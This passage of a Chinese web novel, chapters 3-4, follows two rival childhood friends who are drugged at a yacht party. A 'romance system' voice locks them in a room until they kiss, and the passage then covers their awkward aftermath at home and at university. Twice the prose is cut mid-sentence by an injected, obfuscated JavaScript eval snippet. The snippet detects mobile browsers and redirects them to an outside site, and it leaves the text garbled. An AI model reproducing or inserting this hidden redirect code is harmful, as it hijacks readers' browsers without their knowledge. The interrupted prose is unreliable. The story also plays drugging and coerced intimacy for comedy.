《和死对头绑定不亲亲就会倒霉的系统》 3. 第 3 章 “你听到什么了吗?” 某一瞬间,祁汀雪以为自己幻听了。 他如今已经知道了今晚身体这种奇怪的发热反应是误喝了不明成分的酒,大脑晕晕乎乎的,视线变得模糊,有些聚不上焦。 现在,连听觉都受到波动了吗? 陆灼炀同样露出警觉,撑着被汗珠淋湿的眼皮望向四周:“听到了,说让和身边的人怎么怎么样就能出房间。” “大和谐。”祁汀雪天资聪颖,记忆力向来很好,擅长在各种嘈杂的环境下精准抓住关键信息。 陆灼炀:“对,大和谐,所以什么意思?” [就是情侣之间的亲密行为,生命得以繁衍和延续的交流运动。] 那个AI一样的声音在脑海中再度响起,略显智障的声线中充满了兴奋和愉悦的腔调,像是怕他们听不懂似的,还贴心地用更直白地方式解释。 [换言之,do。] “尽快联系上蒋骆川,让他找人来给我们开门。” 这下,祁汀雪确认自己出现幻听了,手指不停去拨蒋骆川的电话。 还有夔一,一切可能联系上蒋骆川的人。 作为从小接受唯物主义教育,喜欢逻辑、数学和物理,并在大学后选择物理量子方向深度研究的纯理科生。 在祁汀雪看来,世界的存在,基于物质的客观实在,即便AI发展迅猛,但不至于到了随意在他大脑里说话的程度。 何况,张口就搞黄的AI,能过审吗? 祁汀雪重重按着手机屏幕。 如陆灼炀所说,蒋骆川这个嗨起来就发了狠忘了情的发小,在这种关键时候怎么都不接电话。 发在群里的消息也无人回复,夔一就算在赶路,以他恨不得退学在家全职照顾手机的性格,不可能没看到他们的求助。 甚至陆灼炀开始挨个打通讯录上的电话了,连911的电话都拨打了。 可他们像是突然跟外界断联了一样,明明手机信号满格,网络正常,就是没办法联系到任何人。 [别打了,你们是打不通的,我帮你们把这间房间屏蔽了,只有完成任务,才能出房间哦。] 这时,那个声音又一次响起。 不同于刚才的兴奋和愉悦,这一次,带着点看热闹的同情,还有一种和陆灼炀一样欠兮兮的意味。 “你是说,我们打电话没人接听,是因为你把我们与外界隔绝了?”陆灼炀抬起头,虚空中和这道声音对话,忽然想到什么,问,“所以刚才的门也是你关的,不是我顺手带上或是被风吹的?” [对~] 系统声音得意承认。 “你看,我就说不是我干的。”陆灼炀向祁汀雪委屈控诉,“我们俩从小一起长大,你能不能对我有点信任?” 祁汀雪一忍再忍,终于忍不住抓起沙发上的抱枕朝陆灼炀那张完美的帅脸砸过去:“现在重点是这个吗!!!” 重点难道不是要尽快和房间外的人取得联系吗? 还有,为什么陆灼炀就这样轻易接受了这个疑似人工智障的存在,都不怀疑求证一下? 哪怕0.1秒? 祁汀雪依旧坚信是药物作用让他出现了幻觉,甚至连眼前的陆灼炀他都觉得是自己一瞬间产生的虚影。 [不是哦,你当前听到的、看到的,都是真的,不是幻觉。] 像是知道他脑海里在想什么一样,系统声音打断他。 随后:[哎呀。] [都怪我,没有事先介绍自己。] [正式认识一下,我是CP恋爱系统,代号002,你们可以叫我小2,也可以叫我小爱,我的任务是致力于把每一对天操地射,哦不对,是天造地设的CP绑定在一起,达成恋爱结局,让他们过上没羞没臊的幸福生活,然后我就可以功成身退,达成业绩,深藏功与名了╰( ̄▽ ̄)╭] 祁汀雪:“……” 怎么办,好想给扫黄打非打电话。 物理学终于不存在了吗? 还是这个世界癫成了他不认识的样子。 又及,谁说他和陆灼炀是天造地设的CP? 他们两个明明是从小干仗干到大的死对头! 这个系统到底从哪里看出他和陆灼炀有CP感了,要把他们绑定在一起,完成所谓的什么业绩? 完了,被陆灼炀带偏,向来崇尚科学,追求严谨的祁汀雪竟然也接受了这个奇怪系统的存在。 祁汀雪扶了扶额,感觉越来越头晕目眩了。 也或许是这个突然冒出来的系统太过炸裂,刚才抄抱枕砸陆灼炀的那一下用力太猛,他感到血液上涌,脚步虚浮,视线一飘,整个人就要往地面上栽去。 一个结实滚烫的怀抱稳稳托住他。 是陆灼炀,伸出胳膊搂住了他。 手臂绕过他的腰身将他身形箍稳,祁汀雪鼻尖撞到硬邦邦的胸膛上,微微吃痛,却避免了和地板正面接触。 “没事吧?”陆灼炀低敛的嗓音担忧问道。 没有了那种欠欠的腔调,这声音携一股夏风浸过一般的气息,温柔得不像话。 祁汀雪一怔,感受到脸颊贴着的胸腔剧烈起伏,下面是震动耳膜的鼓噪心跳。 他没想到陆灼炀会接住他。 刚才那一瞬,一想到自己摔得狗啃屎的样子被陆灼炀看到,祁汀雪就耳尖爆红,短短几秒,他的大脑闪过原地装死,在甲板上扒条地缝钻进去,以及把陆灼炀丢进大海喂鲨鱼多个想法。 他无论如何都不能被这个死对头抓到自己狼狈的把柄,看到自己不堪的一面。 祁汀雪有些意外。 半晌,回过神来,撑着虚飘飘的掌心推了推陆灼炀:“没事。” 这像猫爪在胸口挠了一下的绵软力道让被祁汀雪“暴揍”惯了的陆灼炀十分陌生,低头,又看到一双藏在冰冷镜片后蒙了雾气的眼眸。 不同于陆灼炀含笑多情,给人极具迷惑性的温柔可亲的桃花眼。 祁汀雪是典型的凤眸。 狭长的眼尾略微上翘,眼皮薄薄一层,天生透着冷。 后来沉迷于学习,看各种晦涩难懂的书籍,秀挺的鼻梁上架了副眼镜。 冰冷冷的镜片一遮挡,让那双细看其实转眄流精顾盼生辉的漂亮眼眸更添一分冷意。 外人都说祁汀雪是高岭之花。 皑皑山巅一捧只可远观却无法触及的白雪。 陆灼炀不以为然。 因为他分明看到了祁汀雪冰冷外衣下的很多面。 漂亮的,暴躁的。 实验室里摆弄仪器专注的。 和他针锋相对毒舌的。 还有……此时此刻,仰头看向他时蒙了雾气一般的迷离眼神。 林间振翅的鸟儿,扑棱棱沾了水汽。 又不知从哪里染了点红,一路蜿蜒到细长眼尾,让常年藏在镜片后积雪般的冷化作湿雾轻风,一霎间就飘散了。 陆灼炀喉结不自觉滑了滑,吞咽口水。 这样的祁汀雪让他感到十分陌生。 想错开目光,却怎么都移不开。 胸腔跳动着一种蠢蠢欲动的燥热,扶着祁汀雪腰肢的掌心也烫得厉害。 原来祁汀雪的腰这么软的吗? 明明脾气硬得像石头。 [哇,你们两个好友爱,相貌好般配,对我的眼睛极度友好!趁药物发作,你们两个又不小心抱在了一起,赶紧把爱do了吧,达成生命大和谐,我的任务就能完成,你们也可以出房间了!] 在陆灼炀觉得自己的胸腔有什么要冲脱出来的时候,自称CP恋爱系统的小爱兴奋说道。 “和他?” 不等陆灼炀回神,就听怀中刚还如湿雾轻风散去一身清冷的祁汀雪冷嗤:“我就是让刀捅也不会让他捅。” 不知为何,这话是祁汀雪的风格,惯常能从祁汀雪那张似冬樱实则罂粟的嘴唇中说出。 陆灼炀也习惯了祁汀雪这样粗暴对他。 可此刻,他莫名感到自己的心脏微微刺痛了下。 这刺痛驱使着陆灼炀理智冷静下来,让他明白过来自己刚才的一切不对劲都是因为药物作用。 呵,他就知道。 他怎么会对祁汀雪,对这个从小一起长大的性格寡淡无趣,脾气还坏得不像话的发小,产生……额,产生那种冲动? “谢谢,我是直男。” 陆灼炀压低声音不甘示弱。 两人火速将彼此推开。 祁汀雪勉力扶住一旁沙发的扶手,没了陆灼炀箍稳他的手臂,他的身体像风浪中摇摇欲坠的小船,随时都会被掀翻。 可还是强撑着理智,问系统:“没有别的方式了吗?你这个任务不合理。” 上来就do…… 还是和陆灼炀。 撇开千万分之一他不是直男的可能,世界上那么多男人,为什么他一定要和陆灼炀发生这种交合行为? 两人自小相识,对彼此熟得不能再熟,相看两厌。 别说负距离这样真情侣之间的亲密接触,就是现在有人强行将他们两个人的头按在一起亲一下,祁汀雪都恨不得往嘴唇上抹点毒药,把两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498022|202599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人都毒死算了。 显然,陆灼炀和他想到了一处,抗议道:“对对!你这个任务不合理,哪有上来就让人那什么的,你看我像那种随便的人吗?” 系统:[没有哦,只有完成这个任务才能出房间。] 祁汀雪:“……” 扶着沙发艰难走到休息室的窗口,试图打开窗户寻找信号。 陆灼炀那边也默契地贴上房门,手掌用力拍了拍,希望有人从门前经过。 但似乎确实如这个系统所说,将这间房间屏蔽了,他们试遍了所有方式,就是没办法和外界取得联系。 不仅手机信号全无,游艇上的人也都成了“小聋瞎”,沉浸在派对里,没有人听到他们的呼声。 奇怪。 真的太奇怪了。 到这时,祁汀雪哪怕再坚信唯物主义,也不得不相信这个系统的存在了。 怎么这么倒霉? 果然一沾上陆灼炀就没什么好事! 他手紧紧抓住扶栏。 这一番找寻出路的折腾,让祁汀雪渐渐失了力气,需要极力支撑自己的身体,才不至于像刚才那样险些在陆灼炀面前失态。 可是似乎不太行。 药物发作了。 好难受。 好热。 渴。 身体开始有一种很奇怪的感觉。 让他忍不住去扯自己的衣领,却记起衬衫扣子在脖颈后方,还有系带,陆灼炀亲手给他系上的。 现在却很想松开。 祁汀雪遏制住这样的渴望,收回手,死死撑在窗沿上,感受到有汗珠坠下,湿淋淋地打湿陷在颈窝的偏长发丝。 “要不——” 忽然,陆灼炀开口。 “我把耳朵和眼睛捂住,不看你,你自己弄一下吧,感觉这样硬撑着不是办法。” 祁汀雪:“?” 反应过来陆灼炀说的是什么意思,瞬间炸毛。 “你自己怎么不弄!” 就知道陆灼炀开口准没好话,出的什么馊主意。 陆灼炀讪讪,掐一把自己的大腿:“我觉得我还能忍,但我看你挺痛苦的。” “那我也能忍。”祁汀雪冷笑。 两人开始了耐力大比拼。 像之前无数次暗中较劲那样,谁也不肯服输。 可到底不是物理竞赛,药效后劲上来,很快,祁汀雪就感觉自己有些支撑不住了。 他开始急促地呼吸,心脏跳得仿佛下一秒就要从胸腔里蹦出来。 最可怕的是,某个难以启齿的地方叫嚣着一种空洞的渴望。 至于陆灼炀,也没好到哪里去。 盯着眼前一张清冷隐忍的脸,长睫摇摇欲坠地挂着一点水光,眼尾泛红,让他刚才那种奇怪的感觉再次浮上心头。 迫不及待想要打破什么。 不行。 再这样下去,他们会乱性的。 两个人脑海里同时闪过这个想法。 [啊啊啊,我真是服了,你们两个要不要这么犟QAQ,明明do一下就能解决所有问题,为什么不做呢?] 系统大概从来没见过这样两个犟种,都这种时候了,还一个比一个忍耐,大有一种忍到天荒地老、海枯石烂,谁也不肯低头的架势。 [这样吧。] 系统没招了。 [实在不行,亲一下也可以,就一秒,求求了,不然你们两个只有到明天早上才会被人发现,到那时emmm] 祁汀雪:“……” 陆灼炀:“……” 想象了下赤身果体抱在一起被共友们看到的画面。 “啵”! 两人飞快在对方唇上印了一个吻。 下一秒,房门打开。 沉浸在派对上的人,尤其是正在兴头上的蒋骆川握着酒杯,一脸茫然地望着从小就不对付的祁汀雪和陆灼炀从同一个房间出来。 喧嚣的灯光照在他们脸上,两个人的脸上都浮着可疑的红,逃窜的背影也有些狼狈,像是被人撞见了奸情。 ? 蒋骆川被这个想法惊到了。 汀雪? 灼炀? 有奸情? 不可能,绝对不可能! 他俩之间要能有点什么,他蒋少倒立着把太平洋的水喝干。 可来不及询问发生了什么。 就见两人匆匆乘小艇驶向岸边。 没多久,私人飞机划破夜空,他这两个只要处在同一空间没多久就会干起来的发小竟然一同离开了海岛。 4. 第 4 章 事后回想那晚,真是荒唐。 清晨,阳光透过窗帘缝隙钻进来,将明晃晃的太阳光线照在祁汀雪脸上。 他手滑出丝被,遮住眼睛。 三天过去,还是没能接受他和陆灼炀亲了的事实。 虽然只是碰了下嘴唇,粗略一算,也就一秒钟的时间,或许连一秒钟都没有。 他们两个贴了下就立刻分开了。 可对方是陆灼炀,偏偏是陆灼炀。 祁汀雪眼睫颤了颤。 开始第一万遍给自己洗脑。 亲就亲了吧。 总好过do。 当时那种情况,再不出房间,他或许真的会控制不住和陆灼炀发生身体的和谐运动的。 他不太懂男男之间真枪实弹是怎么做的,只知道以他的体格,干不过人高马大的陆灼炀,想也不用想,他是被压的那一方。 在非合作博弈里,最优解往往不是最优,是“不最差”。 因此权衡利弊,祁汀雪认为和陆灼炀亲一下,是当时唯一的出路。 算了,就当亲了一头猪。 还是一头帅猪。 祁汀雪这样哄自己。 又洗脑了一遍,这才掀开被子起床。 刚出房门,就有一股烧焦的气息扑鼻而来。 祁汀雪向来一个人住,这味道太黑暗料理了,想也不想,是卓女士过来了。 “宝宝,你醒了?怎么样,身体好点了没有?” 果然,踏进客厅,岛台那边就有一道熟悉的声音传来。 卓女士一身时尚长裙穿搭,优雅又艳丽,像刚从T台上走秀回来,比模特还要模特。 前提是不用纱巾蒙着脸,双手裹着长手套,全副武装拿着锅铲和冒着黑烟的锅一副作战的姿态。 祁汀雪叹一口气,走上前。 看到锅里的鸡蛋已经变质,烧黑成一团,旁边的盘子里也七零八碎地摆着几根黑乎乎的烤肠。 “妈,其实我们可以点外卖的。” 祁汀雪帮着接过煎锅,熄灭火。 他们家没有做饭的基因,从上到下拼不出一个完整会做饭的,尤其是卓女士这种一顿操作猛如虎,云吞都能煮得像森林里的邪恶女巫制作出的咕哝咕哝冒着蓝色诡异泡泡的特异体质。 “我知道的,宝宝,这不是你前两天进了医院,回来躺了好几天,妈妈想给你做点好吃的补补身体。” 卓女士笑吟吟说。 然后露出担忧的神色,问:“怎么好端端的进医院了?听骆川说是和灼炀一起的,一下岛就去了医院,把他吓坏了,我也急忙从法国赶了回来。” “咳咳。”祁汀雪呛了声,掩唇捂了捂,遮住有些慌乱的神色,“没什么,就是水土不服,吃坏了肚子。” 他可不能让大家知道他和陆灼炀中了无法言说的药,还和陆灼炀一起被一个莫名其妙一心想要搞黄的系统关进一个房间,差点和陆灼炀do了。 还好关键时期,房门打开。 一离开海岛,祁汀雪就和陆灼炀去了医院。 洗胃、抽血、挂点滴。 一通折腾下来,药效虽然解除,身体却难受了好几天。 当然,最重要的原因还是和陆灼炀亲了。 祁汀雪握紧手心。 “宝宝受苦了。”卓盈看他脸色一瞬惨白,以为是身体虚弱的缘故,“所以妈妈连忙赶回来给你做饭。” 祁汀雪:“……” 看了看眼前的黑暗料理。 “妈,还是我来吧。” 虽然他也是厨房杀手,但至少不会把蛋煎成黑煤炭。 “还有,您能不能别叫我宝宝,我这么大个人了。” 继小雪花之后,这是另一个卓女士喜欢喊他的绰号,也不常喊,但祁汀雪还是怕哪天被陆灼炀听到,又学来恶心他。 卓女士捂心:“哎,宝,阿雪长大了,都不需要妈妈了,妈妈好伤心。” 祁汀雪默了又默。 自己该不会是和陆灼炀抱错了吧? 他怎么感觉陆灼炀才是卓女士亲儿子。 这如出一辙的表演型人格。 吃过早饭,卓女士被一通连call叫走了,临走前叮嘱他好好养身体,之后就匆忙飞去了国外。 早已习惯这样。 祁汀雪并不在意。 快中午的时候,祁正晖又打电话问要不要接他去宜园吃饭。 “你舒姨这几天不在家,带着玥玥去探望她外公外婆了,正好我们两父子很久没有一起聚一聚,我让司机去接你。” “不用了,爸,我等下要回学校。” 祁汀雪开着免提把手机放在一边,慢条斯理往身上套衣服。 他并不怎么喜欢去宜园,对于祁正晖的新家,他更喜欢待在自己的小公寓,还有学校实验室和图书馆。 如果不是陆灼炀一定要赖在宿舍的话,那也是个很好的选择。 “好吧。”祁正晖的语气听起来有些失落,马上又道,“可是爸爸找你有正事要说。” “如果是上次你说的那件事,抱歉,我没有兴趣。”祁汀雪神色淡淡。 挂断电话,祁汀雪第一时间收拾东西回了学校。 原本参加蒋骆川的海岛生日派对是卡在周末的时间,当天飞过去,周日下午就回来,不耽误课业和组会。 但因为那晚的意外,他不得不跟导师多请了两天假。 一路上,手机响个不停。 除了班级群和跟组的组会群,就是他们那个发小群。 蒋骆川后来接收到他们那晚的“求救”电话和信息,一直懊悔不已。 不过他到现在还不知道自己和陆灼炀真正发生了什么,只以为是招待不周,让两个发小吃坏了肚子。 请判蒋少有妻徒刑:所以你们两个现在好点了没有? 请判蒋少有妻徒刑:抱歉抱歉,我那晚真的没听到手机响,不知道你们被关进了房间。 请判蒋少有妻徒刑:垃圾游艇,再也不租了!花了我好几百万! 下辈子换个新脑子(夔一):还说呢,都怪你,害我没能见到阿雪! 请判蒋少有妻徒刑:我的我的。 请判蒋少有妻徒刑:@午夜忧郁纯情小炀,灼炀,你现在到底怎么样了,活着吗?活着的话吱一声。 过了一会儿,一个身穿标志性的红色紧身战斗服,胸口护甲上镶嵌着彩色计时器,头顶两角,眼射金光,左腿微屈,右臂高扬。 在一片爆炸火光中战斗的雷欧奥特曼的魔性头像跳了出来。 午夜忧郁纯情小炀:1。 祁汀雪:“……” 什么时候换了个这么抽象割裂的网名和头像? 午夜忧郁纯情小炀。 这是什么? 自己还没有因为那晚的事情爆炸呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498023|202599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆灼炀这个家伙倒先忧郁上了。 还纯情。 祁汀雪无语极了,在群里回了声没事。 虽然这趟海岛之行确实荒诞又荒唐,但确实和蒋骆川无关,谁能想到有人会在这种时候密谋睡他和陆灼炀。 ……还有那个怪异的系统。 一吻之后,房门打开。 之后的几天就再也没有出现。 这让祁汀雪再度怀疑那晚是不是错觉,这个系统其实是药物驱使下自己幻想出来的。 不过,他暂时抛开这件事。 而是打开手机,点开通讯界面另一个头像。 是同寝室舍友苏新皓的。 陆灼炀在发小群里现身了,还顶着个新换的抽象头像和ID,十分扎眼。 可祁汀雪不确定他现在是回了宿舍,还是依旧待在家里。 放在以前,和陆灼炀考上同一所大学,念同一个专业,分到同一间宿舍,这些祁汀雪都能忍受。 忍不了也忍了。 谁让陆灼炀甩不开? 可是发生了游艇上的事,和陆灼炀亲了,祁汀雪实在不知道要怎么面对陆灼炀。 再也没有比和死对头亲嘴更尴尬的事了。 他旁敲侧击地问这个共同的舍友陆灼炀回来了没有。 很快,苏新皓回消息了:不在,听说请了一个星期的假。 这么久? 祁汀雪意外。 陆灼炀明明第二天就能从病床上起来上蹿下跳了,为什么要请这么长时间的假? 但他到底没问。 陆灼炀不在,自己这段时间就能安心住在宿舍了。 早上卓女士的黑暗料理差点把他再次吃进医院,他自己补救的早餐也没有好到哪里去。 综上,宿舍就是祁汀雪第二个家。 至少学校的食堂不至于把祁汀雪吃呕吐,他也不需要把多余的时间和精力花费在吃什么上面。 确定了陆灼炀没回校,祁汀雪安心朝宿舍走去。 四月的天气,风渐轻渐暖。 前几日下了一场小雨,天放晴,宿舍楼下高大的梓桐树开花了。 风一吹。 淡粉色的小花扑簌扑簌飘落,像一场春日盛雪飘然落下。 这样浪漫的景象。 祁汀雪看到有情侣在树下接吻。 大白天的,两人旁若无人地抱在一起吻得难舍难分。 像是要不辜负这春日盛景。 祁汀雪:“……” 加快脚步,绕开他们。 撞见小情侣腻歪在大学校园里不是什么稀罕的事情,尤其是寝室楼下。 但架不住祁汀雪现在看不得有人亲嘴。 这会让他想起游艇上的耻辱一晚。 还好陆灼炀请假了。 等过了两天,记忆淡化,他就会忘记发生过什么。 到那时再见到陆灼炀,也就不用那么尴尬了。 他们两个还是掐得你死我活的死对头。 祁汀雪这样想。 上了五楼。 打开502宿舍的门,却看到短期内以为不会见到的身影就这样闯入自己的视线。 听到开门声。 那个刚改完ID没多久的忧郁纯情小炀转过头,逆光下,帅得张扬的男人扯开唇角,笑得一点也不忧郁:“你回来了?” “我还以为你在躲我呢。”